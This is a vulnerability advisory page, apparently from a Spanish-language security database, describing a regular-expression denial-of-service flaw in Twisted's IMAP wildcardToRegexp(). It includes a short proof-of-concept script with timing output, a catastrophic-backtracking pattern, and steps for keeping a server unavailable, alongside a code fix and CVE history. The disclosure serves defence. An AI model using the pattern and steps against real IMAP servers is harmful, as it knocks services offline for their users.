Media

Twisted: IMAP wildcardToRegexp() ReDoS

  • Publicada: 07.10.2026
  • Actualizado: 15.10.2026 18:17

Summary

wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.

Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.


Vulnerable Code

twisted/mail/imap4.py

python
# line 4595
def wildcardToRegexp(wildcard, delim=None):
    wildcard = wildcard.replace("*", "(?:.*?)")
    if delim is None:
        wildcard = wildcard.replace("%", "(?:.*?)")
    else:
        wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
    return re.compile(wildcard, re.I)   # ← user input compiled verbatim
python
# line 4993
class MemoryAccountWithoutNamespaces:
    def listMailboxes(self, ref, wildcard):
        ref = self._inferiorNames(_parseMbox(ref.upper()))
        wildcard = wildcardToRegexp(wildcard, "/")   # ← user-supplied wildcard
        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]

Proof of Concept

python
from twisted.mail.imap4 import wildcardToRegexp
import time

rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
    victim = "a" * n
    t0 = time.perf_counter()
    rx.match(victim)
    print(f"n={n}: {time.perf_counter() - t0:.3f}s")

Output on Twisted 25.5.0:

[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()

    n        time
  ---  ----------
   20       0.153s
   22       0.651s
   24       2.941s
   26      14.545s
   28      55.019s

Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.


Impact

Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.

An attacker who can register an account (or obtain credentials through other means) can:

  1. CREATE a mailbox whose name is an exponential-blowup trigger string.
  2. Issue LIST "" "(a+)+z" (or equivalent ReDoS pattern).
  3. Repeat at ~1-minute intervals to keep the server permanently unavailable.

No exploit code or special privileges beyond an IMAP login are required.


Fix

Escape non-wildcard characters before compiling:

python
def wildcardToRegexp(wildcard, delim=None):
    # Split on the two IMAP wildcards, escape everything else
    parts = re.split(r'([*%])', wildcard)
    result = []
    for p in parts:
        if p == '*':
            result.append('(?:.*?)')
        elif p == '%':
            if delim is None:
                result.append('(?:.*?)')
            else:
                result.append('(?:(?:[^%s])*?)' % re.escape(delim))
        else:
            result.append(re.escape(p))   # ← escape all other characters
    return re.compile(''.join(result), re.I)

Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) twisted <= 25.5.0 sin corrección

Referencias

Puntuación CVSS 4.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Debilidad (CWE)
CWE-1333
Plataforma
Python (PyPI)
Paquete
twisted
Publicada
07.10.2026
Actualizado
15.10.2026 18:17

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-8pqf-f4m5-798g - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-4304 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: twisted

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (17) en el archivo
Entradas en total
17
Primera → última
06.2019 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 4
  • Media 8

Divulgaciones por año

  1. 2019: 3
  2. 2020: 3
  3. 2021: 0
  4. 2022: 6
  5. 2023: 1
  6. 2024: 2
  7. 2025: 0
  8. 2026: 2
Gravedad:
  1. Twisted: IMAP wildcardToRegexp() ReDoS esta entrada
    Media · 4.3 CVE-2026-106454 <= 25.5.0 sin corrección
  2. Crítica · 8.1 CVE-2022-24801 < 22.4.0 22.4.0
  3. Crítica ghsa-32gv-6cf3-wcmq < 19.10.0 19.10.0
  4. Alta · 7.5 CVE-2022-21716 >= 21.7.0, < 22.2.0 22.2.0
  5. Alta · 7.5 CVE-2022-21712 >= 11.1.0, < 22.1.0 22.1.0
  6. Crítica · 9.8 CVE-2020-10109 < 20.3.0 20.3.0
  7. Crítica · 9.8 CVE-2020-10108 < 20.3.0 20.3.0
  8. Alta · 7.5 CVE-2014-7143 >= 14.0.0, < 14.0.1 14.0.1
  9. Crítica · 7.4 CVE-2019-12855 < 19.7.0rc1 19.7.0rc1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.